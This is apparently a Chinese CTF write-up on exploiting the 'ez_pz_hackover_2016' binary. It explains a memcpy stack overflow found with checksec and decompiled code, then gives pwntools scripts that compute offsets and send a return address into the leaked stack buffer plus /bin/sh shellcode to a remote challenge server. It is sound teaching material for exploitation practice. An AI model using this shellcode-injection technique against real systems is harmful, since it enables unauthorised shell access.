checksec:
Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
main函数如下:
void *chall() { size_t v0; // eax void *result; // eax char s; // [esp+Ch] [ebp-40Ch] _BYTE *v3; // [esp+40Ch] [ebp-Ch] printf("Yippie, lets crash: %p\n", &s); printf("Whats your name?\n"); printf("> "); fgets(&s, 1023, stdin); v0 = strlen(&s); v3 = memchr(&s, 10, v0); if ( v3 ) *v3 = 0; printf("\nWelcome %s!\n", &s); result = (void *)strcmp(&s, "crashme"); if ( !result ) result = vuln((unsigned int)&s, 0x400u); return result; }
这里对输入的内容进行了检测,如果等于crashme才能执行vuln函数,vuln函数的内容如下:
void *__cdecl vuln(char src, size_t n) { char dest; // [esp+6h] [ebp-32h] return memcpy(&dest, &src, n); }
memcpy函数会从&src
复制n个字节到&dest
。这里存在明显的栈溢出。且主函数开头会将s的地址打印出来,可以利用这个地址计算和我们可控字符的偏移量,在其内写入shellcode。
首先在vuln的leave处下断点,看一下距离溢出点的距离:
from pwn import * elf = ELF('./ez_pz_hackover_2016') local = 1 if local == 1: io = process('./ez_pz_hackover_2016') gdb.attach(io,'b * 0x8048601') libc = ELF('/lib/i386-linux-gnu/libc.so.6') else: io = remote('node4.buuoj.cn',27637) #libc = ELF('./libc6-i386_2.27-3ubuntu1_amd64.so') io.recvuntil("crash: ") s_addr = int(io.recvuntil("\n",drop=True),16) print(hex(s_addr)) io.recvuntil("> ") shellcode = asm(shellcraft.i386.linux.sh()) payload = 'crashme\x00'+cyclic(400) io.sendline(payload) io.interactive()

cyclic -l aaea
得到距离为14。再继续找s变量里可控位置到开头的距离:
payload = 'crashme\x00'+'a'*14+p32(0xdeadbeef)+p32(s_addr)+'shawr00t'
得到0xffab8800,此时和开头0xffab881c的距离为0x1c。

在这里写shellcode即可,最终payload如下:
from pwn import * elf = ELF('./ez_pz_hackover_2016') local = 0 if local == 1: io = process('./ez_pz_hackover_2016') #gdb.attach(io,'b * 0x8048601') libc = ELF('/lib/i386-linux-gnu/libc.so.6') else: io = remote('node4.buuoj.cn',27637) io.recvuntil("crash: ") s_addr = int(io.recvuntil("\n",drop=True),16) print(hex(s_addr)) io.recvuntil("> ") shellcode = asm(shellcraft.i386.linux.sh()) payload = 'crashme\x00'+'a'*14+p32(0xdeadbeef)+p32(s_addr-0x1c)+shellcode io.sendline(payload) io.interactive()